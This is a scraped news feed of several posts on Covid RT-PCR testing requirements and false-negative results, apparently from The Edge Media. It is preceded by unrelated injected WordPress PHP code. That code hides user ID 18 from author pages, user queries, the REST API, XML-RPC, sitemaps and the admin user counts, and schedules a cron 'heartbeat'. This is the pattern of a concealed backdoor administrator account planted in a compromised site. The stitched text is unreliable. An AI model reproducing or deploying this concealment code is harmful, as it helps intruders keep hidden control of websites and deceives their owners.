add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post The center sets standards for international newcomers, requiring a negative RT-PCR test appeared first on The Edge Media.
]]>
The existing standards for international arrivals in India have been revised in light of increased vaccine coverage around the world and the changing character of the pandemic, according to a notification from the ministry of health and family welfare.
Due to the coronavirus infections (Covid-19) pandemic, international planned commercial flights to India have been halted till October 31. International cargo flights and those certified by the regulator on specified routes were allowed to fly, according to the Directorate General of Civil Aviation.
The post The center sets standards for international newcomers, requiring a negative RT-PCR test appeared first on The Edge Media.
]]>The post RT – PCR mandatory for passengers from seven more countries appeared first on The Edge Media.
]]>While earlier this rule was only applicable for arrivals from the UK, Europe and Middle East, seven more countries – South Africa, Bangladesh, Botswana, China, Mauritius, New Zealand, Zimbabwe – have been added to the list today, according to a latest guideline by Ministry of Health.
The new variant was first detected in South Africa in May. It has since been found in China, the Democratic Republic of the Congo, Mauritius, England, New Zealand, Portugal and Switzerland. C.1.2. evolved from C.1., a lineage of the virus that dominated infections in the first wave of the virus in South Africa in mid-2020. It has between 44 and 59 mutations from the original virus detected in Wuhan in China.
As per the new guidelines, only asymptomatic passengers will be allowed to board the flights from India and on arrival, they will again be tested for Covid through RT-PCR test.
The ministry has also asked the states to send a fixed percentage of samples of positive cases among international travellers for genome surveillance.
The post RT – PCR mandatory for passengers from seven more countries appeared first on The Edge Media.
]]>The post Covid Testing Will Increase In Lucknow Hospitals appeared first on The Edge Media.
]]>SARI (severe acute respiratory syndrome) will be detected by quick response teams armed with RT-PCR and antigen testing kits, and all such individuals will be examined. According to authorities, individuals who take an antigen test will receive their results instantly, while those who are tested using RT-PCR will have their results within 24 hours.
Covid is already being screened for by the department of health at the airports, train stations, bus stations, and toll gates on highways, among other places.
The post Covid Testing Will Increase In Lucknow Hospitals appeared first on The Edge Media.
]]>The post RT – PCR tests showing false negatives can be misleading appeared first on The Edge Media.
]]>Two of these people have died and doctors say this is unusual given the low incidence. So many false-negatives in such a short span was not seen before, hospital authorities claim. “All eight cases had typical symptoms of Covid-19 and required hospital admission. We conducted a CT scan in all these cases which showed the infection. However, we lost two patients,” said Dr Sudha Heroor, nodal officer for Covid-19, Jayanagar General Hospital.
BBMP is currently randomly collecting swabs of positive patients for genomic sequencing, but sequencing needs to be done on these patients to check if they were infected by a different variant, the hospital said.
However, Dr CN Manjunath, nodal officer for lab and testing, state Covid-19 task force, said these could be among a cluster of such cases, and they may not be representative of all Covid positive cases.
“People who undergo RTPCR tests that throw up a false-negative result are treated as Covid-19 patients after CT scans show the infection. This is true of 5-8 % of cases across the state. Sometimes, repeat RT-PCR tests can be helpful. The syndromic approach based on CT scans and symptoms, irrespective of the RT-PCR report, is now well established,” Dr Manjunath said.
Doctors says false-negative reports can be misleading as patients tend to ignore symptoms given the heavy reliance on RT-PCR testing alone in Covid-19 management. RT-PCR is the gold standard to test for Covid-19.
The post RT – PCR tests showing false negatives can be misleading appeared first on The Edge Media.
]]>